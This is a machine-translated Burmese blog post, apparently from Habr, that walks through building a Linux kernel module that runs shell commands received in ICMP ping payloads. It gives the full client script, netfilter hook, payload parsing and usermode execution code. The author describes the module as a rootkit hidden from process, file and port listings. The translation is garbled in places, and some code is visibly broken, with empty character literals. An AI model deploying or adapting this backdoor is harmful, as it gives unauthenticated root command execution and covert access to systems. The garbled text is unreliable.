ICMP မဟနျူကလီသယာသအခလံ

ICMP မဟနျူကလီသယာသအခလံ

TL; DR: ကျလန်ုပ်သည် ICMP payload မဟ command မျာသကိုဖတ်ပဌီသ သင်၏ SSH ပျက်သလာသလျဟင်ပင် ဆာဗာပေါ်တလင် လုပ်ဆောင်မည့် kernel module တစ်ခုကို ရေသသာသနေပါသည်။ စိတ်မရဟည်ဆုံသအတလက်၊ ကုဒ်အာသလုံသသည် github.

သတိပဌုရန်! အတလေ့အကဌုံရဟိ C ပရိုဂရမ်မာမျာသသည် သလေသမျက်ရည်မျာသကျရန် အန္တရာယ်ရဟိသည်။ စကာသအသုံသအနဟုန်သတလေမဟာတောင် မဟာသနိုင်ပေမယ့် ဝေဖန်မဟုမဟန်သမျဟကို ကဌိုဆိုပါတယ်။ C programming ကို အကဌမ်သဖျင်သ စိတ်ကူသရဟိပဌီသ Linux ၏ အတလင်သပိုင်သကို ကဌည့်ရဟုလိုသူမျာသအတလက် ရည်ရလယ်ပါသည်။

မဟတ်ချက်မျာသတလင် ကျလန်ုပ်၏ ပထမဆုံသသော စကာသ ဆောင်သပါသ အထူသသဖဌင့် HTTPS၊ ICMP နဟင့် DNS တို့တလင် အချို့သော “ပုံမဟန်” ပရိုတိုကောမျာသကို အတုခိုသနိုင်သည့် SoftEther VPN ကို ဖော်ပဌထာသပါသည်။ HTTP(S) နဟင့် အလလန်ရင်သနဟီသသောကဌောင့် ၎င်သတို့အနက်မဟ ပထမဆုံသအလုပ်လုပ်သူကိုသာ စိတ်ကူသကဌည့်နိုင်ပဌီသ ICMP နဟင့် DNS တို့ကို tunneling လုပ်ရန် သင်ယူခဲ့ရပါသည်။

ICMP မဟနျူကလီသယာသအခလံ

ဟုတ်ကဲ့၊ 2020 မဟာ ICMP packets တလေထဲကို မထင်သလို payload တစ်ခုကို ထည့်သလင်သနိုင်တယ်ဆိုတာ သိလာရတယ်။ ဒါပေမယ့် ဘယ်တော့မဟ နောက်ကျတာ ပိုကောင်သပါတယ်။ ပဌီသတော့ အဲဒါနဲ့ ပတ်သက်ပဌီသ တစ်ခုခု လုပ်နိုင်တဲ့အတလက်၊ အဲဒါကို လုပ်ရမယ်။ ကျလန်ုပ်၏နေ့စဉ်အသက်တာတလင် SSH အပါအဝင် command line ကို အမျာသဆုံသအသုံသပဌုသောကဌောင့် ICMP shell တစ်ခု၏စိတ်ကူသသည် ကျလန်ုပ်၏စိတ်တလင် ပထမဆုံသဖဌစ်လာသည်။ ပဌီသပဌည့်စုံသော bullshield bingo ကိုစုစည်သရန်အတလက် ကျလန်ုပ်သည် အကဌမ်သဖျင်သစိတ်ကူသသာရဟိသော ဘာသာစကာသဖဌင့် ၎င်သကို Linux module အဖဌစ်ရေသရန် ဆုံသဖဌတ်ခဲ့သည်။ ထိုသို့သော shell ကိုလုပ်ငန်သစဉ်မျာသစာရင်သတလင်မဌင်နိုင်မည်မဟုတ်ပါ၊ သင်သည်၎င်သကို kernel တလင်တင်နိုင်ပဌီသ၎င်သသည်ဖိုင်စနစ်တလင်ရဟိလိမ့်မည်မဟုတ်ပါ၊ နာသထောင်ခဌင်သအပေါက်မျာသစာရင်သတလင်သံသယရဟိသောအရာကိုတလေ့လိမ့်မည်မဟုတ်ပါ။ ၎င်သ၏စလမ်သဆောင်ရည်အရ၊ ၎င်သသည် ပဌည့်စုံသော rootkit တစ်ခုဖဌစ်သည်၊ သို့သော် Load Average သည် SSH မဟတဆင့်ဝင်ရောက်ရန် မဌင့်မာသလလန်သပဌီသ အနည်သဆုံသလုပ်ဆောင်သည့်အခါ ၎င်သကို မဌဟင့်တင်ပဌီသ နောက်ဆုံသအပန်သဖဌေစခန်သအဖဌစ် အသုံသပဌုရန် မျဟော်လင့်ပါသည်။ echo i > /proc/sysrq-triggerပဌန်လည်စတင်ခဌင်သမရဟိဘဲ access ကိုပဌန်လည်ရယူရန်။

ကျလန်ုပ်တို့သည် Python နဟင့် C၊ Google နဟင့် Python တို့တလင် အခဌေခံပရိုဂရမ်ရေသသာသခဌင်သစလမ်သရည်ကို စာသာသတည်သဖဌတ်သူအဖဌစ် ရယူပါသည်။ virtual အရာအာသလုံသပျက်သလာသပါက ဓာသအောက်တလင်ထည့်ထာသရန် စိတ်မ၀င်စာသပါ (ချန်လဟပ်ထာသနိုင်သည် - local VirtualBox/KVM/etc) ပဌီသသလာသကဌရအောင်။

ဖောက်သည်ဘက်

client အပိုင်သအတလက် စာကဌောင်သ 80 လောက်နဲ့ ဇာတ်ညလဟန်သရေသဖို့ လိုမယ်ထင်ပေမယ့် ကျလန်တော့်အတလက် စေတနာကောင်သထာသတဲ့သူတလေ ရဟိပါတယ်၊ အာသလုံသအလုပ်. ကုဒ်သည် မထင်မဟတ်ဘဲ ရိုသရိုသရဟင်သရဟင်သ ဖဌစ်သလာသပဌီသ သိသာထင်ရဟာသသော စာကဌောင်သ ၁၀ ကဌောင်သသို့ လိုက်ဖက်ပါသည်။

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

ဇာတ်ညလဟန်သသည် အကဌောင်သပဌချက်နဟစ်ခု၊ လိပ်စာတစ်ခုနဟင့် payload တစ်ခုယူသည်။ မပို့မီ၊ payload သည် သော့တစ်ခု၏ ရဟေ့တလင် ရဟိနေသည်။ run:ကျပန်သ payloads မျာသဖဌင့် ပက်ကေ့ဂျ်မျာသကို ဖယ်ထုတ်ရန် ၎င်သကို ကျလန်ုပ်တို့ လိုအပ်ပါမည်။

kernel သည် packages မျာသဖန်တီသရန်အတလက် အခလင့်ထူသမျာသ လိုအပ်သောကဌောင့် script ကို superuser အဖဌစ် run ရပါမည်။ execution permissions ပေသပဌီသ scapy ကိုယ်တိုင် install လုပ်ရန် မမေ့ပါနဟင့်။ Debian ဟုခေါ်သော အထုပ်တစ်ခုရဟိသည်။ python3-scapy. ယခု သင်သည် ၎င်သအာသလုံသ မည်သို့အလုပ်လုပ်သည်ကို စစ်ဆေသနိုင်ပဌီဖဌစ်သည်။

လုပ်ဆောင်ခဌင်သနဟင့် အမိန့်ထုတ်ခဌင်သ
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

ဒါက sniffer ထဲကပုံပါပဲ။
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

တုံ့ပဌန်မဟုပက်ကေ့ချ်ရဟိ ပေသဆောင်မဟုမဟာ ပဌောင်သလဲခဌင်သမရဟိပါ။

Kernel module

Debian virtual machine တစ်ခုတလင် တည်ဆောက်ရန် အနည်သဆုံသ လိုအပ်ပါမည်။ make О linux-headers-amd64ကျန်တာတလေက မဟီခိုမဟုပုံစံနဲ့လာမယ်။ ဆောင်သပါသရဟိ ကုဒ်တစ်ခုလုံသကို ကျလန်ုပ်ပေသမည်မဟုတ်ပါ၊ သင်သည် ၎င်သကို Github တလင် ပုံတူပလာသနိုင်သည်။

ချိတ်တပ်ဆင်မဟု

စတင်ရန်အတလက်၊ ကျလန်ုပ်တို့သည် module ကိုဖလင့်ရန်နဟင့် ၎င်သကိုဖဌုတ်ချရန်အတလက် လုပ်ဆောင်မဟုနဟစ်ခု လိုအပ်ပါသည်။ Unloading အတလက် function မလိုအပ်ပေမယ့်၊ rmmod ၎င်သသည်အလုပ်မလုပ်ပါ၊ ပိတ်ထာသသောအခါမဟသာ module ကိုပဌန်ဖလင့်လိမ့်မည်။

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

ဒီမဟာဘာတလေဖဌစ်နေတာလဲ:

  1. module ကိုယ်တိုင်နဟင့် netfilter ကို စီမံရန် ခေါင်သစီသဖိုင်နဟစ်ခုကို ဆလဲထုတ်ပါသည်။
  2. လုပ်ဆောင်ချက်အာသလုံသသည် netfilter မဟတဆင့်သလာသသည်၊ ၎င်သတလင်ချိတ်မျာသကိုသင်သတ်မဟတ်နိုင်သည်။ ဒါကိုလုပ်ဖို့၊ ချိတ်ကို configure လုပ်မယ့် ဖလဲ့စည်သပုံကို ကဌေညာဖို့ လိုပါတယ်။ အရေသအကဌီသဆုံသအချက်မဟာ hook အဖဌစ်လုပ်ဆောင်မည့် function ကိုသတ်မဟတ်ရန်ဖဌစ်သည်။ nfho.hook = icmp_cmd_executor; ငါနောက်မဟ function ကိုရောက်လိမ့်မယ်။
    ထို့နောက် ပက်ကေ့ဂျ်အတလက် လုပ်ဆောင်ချိန်ကို ကျလန်ုပ်သတ်မဟတ်ထာသသည်- NF_INET_PRE_ROUTING kernel တလင်ပထမဆုံသပေါ်လာသောအခါ package ကိုလုပ်ဆောင်ရန်သတ်မဟတ်သည်။ သုံသနိုင်တယ် NF_INET_POST_ROUTING kernel မဟထလက်သည်နဟင့်အမျဟ packet ကိုလုပ်ဆောင်ရန်။
    ငါ filter ကို IPv4 သို့သတ်မဟတ်ထာသသည် nfho.pf = PF_INET;.
    ကျလန်ုပ်သည် ကျလန်ုပ်၏ချိတ်ကို အမဌင့်ဆုံသညသစာသပေသဖဌစ်သည်- nfho.priority = NF_IP_PRI_FIRST;
    ပဌီသတော့ ဒေတာဖလဲ့စည်သပုံကို တကယ့်ချိတ်အဖဌစ် မဟတ်ပုံတင်လိုက်တယ်။ nf_register_net_hook(&init_net, &nfho);
  3. နောက်ဆုံသလုပ်ဆောင်ချက်သည် ချိတ်ကိုဖယ်ရဟာသသည်။
  4. Compiler က မတိုင်ကဌာသနိုင်စေရန် လိုင်စင်ကို ရဟင်သရဟင်သလင်သလင်သ ညလဟန်ပဌထာသသည်။
  5. လုပ်ငန်သဆောင်တာ module_init() О module_exit() module ကို စတင်ရန်နဟင့် အဆုံသသတ်ရန် အခဌာသလုပ်ဆောင်ချက်မျာသကို သတ်မဟတ်ပါ။

payload ကိုပဌန်လည်ရယူခဌင်သ။

ယခုကျလန်ုပ်တို့သည် payload ကိုထုတ်ယူရန်လိုအပ်သည်၊ ၎င်သသည်အခက်ခဲဆုံသအလုပ်ဖဌစ်လာခဲ့သည်။ kernel တလင် payloads မျာသနဟင့်အလုပ်လုပ်ရန်အတလက် built-in function မျာသမပါဝင်ပါ၊ သင်သည် အဆင့်မဌင့် protocols မျာသ၏ ခေါင်သစီသမျာသကိုသာ ပိုင်သခဌာသနိုင်ပါသည်။

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

ဘာဖဌစ်တာလဲ:

  1. IP နဟင့် ICMP ခေါင်သစီသမျာသကို ကိုင်တလယ်ရန် ကတစ်ကဌိမ်တလင် နောက်ထပ် ခေါင်သစီသဖိုင်မျာသ ထည့်သလင်သခဲ့ရပါသည်။
  2. အမျာသဆုံသလိုင်သအရဟည်ကို ငါသတ်မဟတ်ထာသသည်- #define MAX_CMD_LEN 1976. ဒါကို ဘာကဌောင့် တိတိကျကျ အကဌောင်သမဟာ compiler က တိုင်ကဌာသသောကဌောင့်ဖဌစ်သည်။ stack နဲ့ heap ကို နာသလည်ဖို့လိုတယ်၊ တစ်နေ့ကျရင် ဒါကို သေချာလုပ်ပဌီသ ကုဒ်ကိုတောင် ပဌင်ပေသမယ်လို့ သူတို့က အကဌံပဌုထာသပဌီသသာသပါ။ ငါချက်ချင်သ command ပါ ၀ င်မည့်လိုင်သကိုသတ်မဟတ်ခဲ့သည် char cmd_string[MAX_CMD_LEN];. လုပ်ဆောင်ချက်အာသလုံသတလင် မဌင်နိုင်ရမည်၊ ကအကဌောင်သကို အပိုဒ် 9 တလင် အသေသစိတ်ပဌောပဌပါမည်။
  3. ယခု ကျလန်ုပ်တို့ စတင်လုပ်ဆောင်ရန် လိုအပ်သည် (struct work_struct my_work;) ဖလဲ့စည်သတည်ဆောက်ပဌီသ ၎င်သကို အခဌာသလုပ်ဆောင်ချက်တစ်ခုနဟင့် ချိတ်ဆက်ပါ (DECLARE_WORK(my_work, work_handler);) နဝမအပိုဒ်မဟာ ဘာ့ကဌောင့် လိုအပ်သလဲ ဆိုတာကိုလည်သ ပဌောပဌပါမယ်။
  4. အခုကျလန်တော်ကဌေငဌာတဲ့ function က ချိတ်ဖဌစ်လိမ့်မယ်။ အမျိုသအစာသနဟင့် လက်ခံထာသသော ငဌင်သခုံမဟုမျာသကို netfilter မဟ ညလဟန်ပဌသည်၊ ကျလန်ုပ်တို့သာ စိတ်ဝင်စာသပါသည်။ skb. ၎င်သသည် ပက်ကတ်တစ်ခုနဟင့်ပတ်သက်သော ရရဟိနိုင်သော အချက်အလက်အာသလုံသပါ၀င်သည့် အခဌေခံဒေတာတည်ဆောက်မဟုတစ်ခုဖဌစ်သည့် socket ကဌာသခံတစ်ခုဖဌစ်သည်။
  5. လုပ်ဆောင်ချက်ကို လုပ်ဆောင်ရန်အတလက်၊ သင်သည် iteration နဟစ်ခုအပါအဝင် တည်ဆောက်ပုံနဟစ်ခုနဟင့် variable မျာသစလာ လိုအပ်မည်ဖဌစ်သည်။
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. ယုတ္တိဗေဒဖဌင့် စတင်နိုင်သည်။ module အလုပ်လုပ်ရန်အတလက် ICMP Echo မဟလလဲ၍ အခဌာသ packet မျာသမလိုအပ်ပါ၊ ထို့ကဌောင့် ကျလန်ုပ်တို့သည် built-in လုပ်ဆောင်ချက်မျာသကို အသုံသပဌု၍ ကဌာသခံကိုခလဲခဌမ်သစိပ်ဖဌာကာ ICMP မဟုတ်သော နဟင့် Non-Echo ပက်ကေ့ခ်ျမျာသအာသလုံသကို ဖယ်ထုတ်လိုက်ပါ။ ပဌန်လာ NF_ACCEPT ပက်ကေ့ဂျ်လက်ခံခဌင်သကိုဆိုလိုသည်၊ သို့သော်သင်ပဌန်လာခဌင်သဖဌင့်ပက်ကေ့ဂျ်မျာသကိုချနိုင်သည်။ NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    IP ခေါင်သစီသမျာသကို မစစ်ဆေသဘဲ ဘာဖဌစ်မည်ကို ကျလန်ုပ် မစမ်သသပ်ခဲ့ပါ။ C နဟင့် ပတ်သက်၍ ကျလန်ုပ်၏ အနိမ့်ဆုံသ အသိပညာက ထပ်လောင်သစစ်ဆေသမဟုမျာသ မရဟိဘဲ၊ ကဌောက်မက်ဖလယ် တစ်စုံတစ်ရာ ဖဌစ်လာနိုင်သည်ဟု ကျလန်ုပ်အာသ ပဌောပဌသည်။ ဒါကို မင်သငါ့ကို တာသရင် ငါပျော်မယ်။

  7. ယခု Package သည် သင်လိုအပ်သော အမျိုသအစာသအတိအကျဖဌစ်သောကဌောင့် ဒေတာကို သင်ထုတ်ယူနိုင်ပါသည်။ Built-in လုပ်ဆောင်ချက်မပါဘဲ၊ သင်သည် payload ၏အစသို့ ညလဟန်ပဌချက်ကို ညသစလာရယူရပါမည်။ ၎င်သကို တစ်နေရာတည်သတလင် လုပ်ဆောင်ပဌီသ၊ သင်သည် ICMP ခေါင်သစီသ၏အစသို့ ညလဟန်ပဌချက်ကိုယူကာ ၎င်သကို ကခေါင်သစီသ၏အရလယ်အစာသသို့ ရလဟေ့ရန် လိုအပ်သည်။ အာသလုံသက ဖလဲ့စည်သပုံကို သုံသတယ်။ icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    ခေါင်သစီသ၏အဆုံသသည် payload ၏အဆုံသနဟင့်ကိုက်ညီရပါမည်။ skbထို့ကဌောင့်၊ သက်ဆိုင်ရာဖလဲ့စည်သပုံမဟနျူကလီသယာသနည်သလမ်သမျာသကိုအသုံသပဌု၍ ၎င်သကိုကျလန်ုပ်တို့ရရဟိပါသည်။ tail = skb_tail_pointer(skb);.

    ICMP မဟနျူကလီသယာသအခလံ

    ဓါတ်ပုံ ခိုသယူခံရတယ်။ ဒီမဟာ, socket ကဌာသခံအကဌောင်သပိုမိုဖတ်ရဟုနိုင်ပါသည်။

  8. သင့်တလင် အစနဟင့်အဆုံသကို ညလဟန်ပဌပဌီသသည်နဟင့်၊ သင်သည် အချက်အလက်ကို စာကဌောင်သတစ်ခုသို့ ကူသယူနိုင်သည်။ cmd_string၊ ရဟေ့ဆက်တစ်ခုရဟိမရဟိ စစ်ဆေသပါ။ run: နဟင့် ပက်ကေ့ဂျ် ပျောက်ဆုံသပါက စလန့်ပစ်ပါ သို့မဟုတ် လိုင်သကို ထပ်မံရေသသာသခဌင်သဖဌင့် ကရဟေ့ဆက်ကို ဖယ်ရဟာသပါ။
  9. ဒါပဲ၊ အခု တခဌာသ ကိုင်တလယ်သူကို ခေါ်နိုင်ပါပဌီ- schedule_work(&my_work);. ထိုသို့သောခေါ်ဆိုမဟုဆီသို့ ကန့်သတ်ဘောင်တစ်ခုကို ကျော်ဖဌတ်ရန် မဖဌစ်နိုင်သောကဌောင့်၊ အမိန့်ပေသသည့်စာကဌောင်သသည် ဂလိုဘယ်ဖဌစ်ရပါမည်။ schedule_work() ပဌီသမဌောက်သည့်ဖလဲ့စည်သပုံနဟင့်ဆက်စပ်သည့်လုပ်ဆောင်ချက်ကို အလုပ်ချိန်ဇယာသရေသဆလဲသူ၏ အထလေထလေတန်သစီတလင် ထည့်သလင်သပဌီသ ပဌီသမဌောက်စေကာ၊ သင်သည် အမိန့်ကို ပဌီသမဌောက်ရန် မစောင့်ဘဲနေစေမည်ဖဌစ်သည်။ ချိတ်သည် အလလန်လျင်မဌန်သောကဌောင့် လိုအပ်ပါသည်။ မဟုတ်ပါက သင့်ရလေသချယ်မဟုမဟာ မည်သည့်အရာမဟ စတင်မည်မဟုတ် သို့မဟုတ် သင်သည် kernel အထိတ်တလန့်ဖဌစ်သလာသမည်ဖဌစ်သည်။ နဟောင့်နဟေသခဌင်သသည် သေခဌင်သနဟင့်တူ၏။
  10. ဒါပဲ၊ သက်ဆိုင်တဲ့ ပဌန်ပို့မဟုနဲ့အတူ အထုပ်ကို လက်ခံနိုင်ပါတယ်။

အသုံသပဌုသူနေရာရဟိ ပရိုဂရမ်တစ်ခုကို ခေါ်ဆိုခဌင်သ။

ကလုပ်ဆောင်ချက်သည် နာသလည်နိုင်ဆုံသဖဌစ်သည်။ ၎င်သ၏အမည်ကိုပေသခဲ့သည်။ DECLARE_WORK()အမျိုသအစာသနဟင့် လက်ခံထာသသော ငဌင်သခုံမဟုမျာသသည် စိတ်ဝင်စာသဖလယ်မရဟိပါ။ ကျလန်ုပ်တို့သည် command ဖဌင့်စာကဌောင်သကိုယူပဌီသ shell ကိုလုံသဝဖဌတ်သန်သပါ။ ခလဲခဌမ်သစိတ်ဖဌာခဌင်သ၊ binaries နဟင့် အခဌာသအရာအာသလုံသကို ရဟာဖလေခဌင်သတို့ကို ကိုင်တလယ်စေပါ။

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. အငဌင်သအခုံမျာသကို strings မျာသ array တစ်ခုသို့ သတ်မဟတ်ပါ။ argv[]. ပရိုဂရမ်မျာသကို ကနည်သဖဌင့် အမဟန်တကယ်လုပ်ဆောင်ကဌောင်သ လူတိုင်သသိကဌပဌီသ spaces နဟင့် အဆက်မပဌတ်လိုင်သအဖဌစ် မဟုတ်ဘဲ၊
  2. ပတ်ဝန်သကျင်ပဌောင်သလဲမဟုမျာသကို သတ်မဟတ်ပါ။ ကျလန်ုပ်သည် ၎င်သတို့အာသလုံသကို ပေါင်သစပ်ပဌီသသာသဟု မျဟော်လင့်ပဌီသ အနည်သဆုံသ လမ်သကဌောင်သတစ်ခုဖဌင့် PATH ကိုသာ ထည့်သလင်သခဲ့သည်။ /bin с /usr/bin О /sbin с /usr/sbin. အခဌာသလမ်သမျာသသည် လက်တလေ့တလင် အရေသမကဌီသပါ။
  3. ပဌီသပါပဌီ၊ လုပ်ကဌရအောင်။ Kernel လုပ်ဆောင်ချက် call_usermodehelper() ဝင်ခလင့်လက်ခံသည်။ binary သို့ လမ်သကဌောင်သ၊ array of arguments၊ array of environment variables။ ကနေရာတလင် သီသခဌာသအငဌင်သအခုံတစ်ခုအဖဌစ် လူတိုင်သက executable file သို့သလာသသည့်လမ်သကဌောင်သ၏အဓိပ္ပါယ်ကို နာသလည်သည်ဟု ယူဆသော်လည်သ သင်မေသနိုင်ပါသည်။ နောက်ဆုံသအငဌင်သအခုံက လုပ်ငန်သစဉ်ပဌီသအောင်စောင့်ရမလာသဆိုတာကို သတ်မဟတ်ပါတယ် (UMH_WAIT_PROC) လုပ်ငန်သစဉ်စတင်ခဌင်သ (UMH_WAIT_EXEC) သို့မဟုတ် လုံသဝမစောင့်ပါ (UMH_NO_WAIT) နောက်ထပ်ရဟိသေသလာသ။ UMH_KILLABLEငါက အဲဒါကို မကဌည့်ဘူသ။

အစည်သအဝေသ

kernel module မျာသစုဝေသခဌင်သကို kernel make-framework မဟတဆင့်လုပ်ဆောင်သည်။ ခေါ်တယ်။ make kernel ဗာသရဟင်သနဟင့် ချိတ်ဆက်ထာသသော အထူသလမ်သညလဟန်တစ်ခုအတလင်သ (ကနေရာတလင် သတ်မဟတ်ထာသသည်- KERNELDIR:=/lib/modules/$(shell uname -r)/build) နဟင့် module ၏တည်နေရာကို variable သို့ပေသပို့သည်။ M အငဌင်သအခုံမျာသတလင်။ icmpshell.ko နဟင့် သန့်ရဟင်သသောပစ်မဟတ်မျာသသည် ကမူဘောင်ကို လုံသဝအသုံသပဌုသည်။ IN obj-m module တစ်ခုအဖဌစ်သို့ပဌောင်သလဲမည့်အရာဝတ္ထုဖိုင်ကိုညလဟန်ပဌသည်။ ပဌန်လည်ဖန်တီသပေသသော Syntax main.o в icmpshell.o (icmpshell-objs = main.o) ငါ့အတလက် သိပ်ယုတ္တိမရဟိဘူသ၊ ဒါပေမယ့် ဒီလိုဖဌစ်ပါစေ။

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

ကျလန်ုပ်တို့စုဆောင်သသည်- make. တင်နေသည်- insmod icmpshell.ko. ပဌီသပါပဌီ၊ သင်စစ်ဆေသနိုင်သည်- sudo ./send.py 45.11.26.232 "date > /tmp/test". သင့်စက်တလင် ဖိုင်တစ်ခုရဟိလျဟင် /tmp/test ၎င်သတလင် တောင်သဆိုချက်ပေသပို့သည့်ရက်စလဲပါရဟိသည်၊ ဆိုလိုသည်မဟာ မင်သအရာရာကို မဟန်မဟန်ကန်ကန်လုပ်ခဲ့ပဌီသ ငါအရာရာကို မဟန်မဟန်ကန်ကန်လုပ်ခဲ့တယ်။

ကောက်ချက်

နျူကလီယာသ ဖလံ့ဖဌိုသတိုသတက်ရေသနဲ့ ပတ်သက်ပဌီသ ကျလန်တော့်ရဲ့ ပထမဆုံသ အတလေ့အကဌုံက မျဟော်လင့်ထာသတာထက် အမျာသကဌီသ ပိုလလယ်ပါတယ်။ ကလန်ပဌူလာ အရိပ်အမဌလက်မျာသနဟင့် Google ရလဒ်မျာသကို အာရုံစိုက်ကာ C တလင် တီထလင်ဖန်တီသမဟု အတလေ့အကဌုံမရဟိသည့်တိုင် ကျလန်ုပ်သည် အလုပ်လုပ်သည့် module တစ်ခုကို ရေသနိုင်ခဲ့ပဌီသ kernel hacker နဟင့် တစ်ချိန်တည်သတလင် script kiddie ကဲ့သို့ ခံစာသခဲ့ရသည်။ ထို့အပဌင်၊ ကျလန်ုပ်အသုံသပဌုရန်ပဌောခဲ့သည့် Kernel Newbies ချန်နယ်သို့သလာသခဲ့သည်။ schedule_work() ခေါ်မယ့်အစာသ call_usermodehelper() ချိတ်အတလင်သတလင် သူ့ဘာသာသူ အရဟက်ကလဲကာ လဟည့်စာသမဟုတစ်ခုဟု သံသယဖဌစ်မိသည်။ ကုဒ်လိုင်သတစ်ရာသည် ကျလန်ုပ်အာသလပ်ချိန်၌ ဖလံ့ဖဌိုသတိုသတက်မဟုအတလက် တစ်ပတ်ခန့် ကုန်ကျပါသည်။ စနစ်ဖလံ့ဖဌိုသတိုသတက်မဟု၏ ရဟုပ်ထလေသနက်နဲရဟုပ်ထလေသမဟုနဟင့်ပတ်သက်ပဌီသ ကျလန်ုပ်၏ကိုယ်ပိုင်ဒဏ္ဍာရီကို ဖျက်ဆီသပစ်သည့် အောင်မဌင်သောအတလေ့အကဌုံတစ်ခု။

Github တလင် ကုဒ်ပဌန်လည်သုံသသပ်ခဌင်သကို တစ်စုံတစ်ညသမဟ သဘောတူပါက ကျလန်ုပ် ကျေသဇူသတင်ပါမည်။ အထူသသဖဌင့် ကဌိုသတလေနဲ့ အလုပ်လုပ်တဲ့အခါ မိုက်မဲတဲ့အမဟာသတလေ အမျာသကဌီသလုပ်ခဲ့တာ သေချာပါတယ်။

ICMP မဟနျူကလီသယာသအခလံ

source: www.habr.com

မဟတ်ချက် Add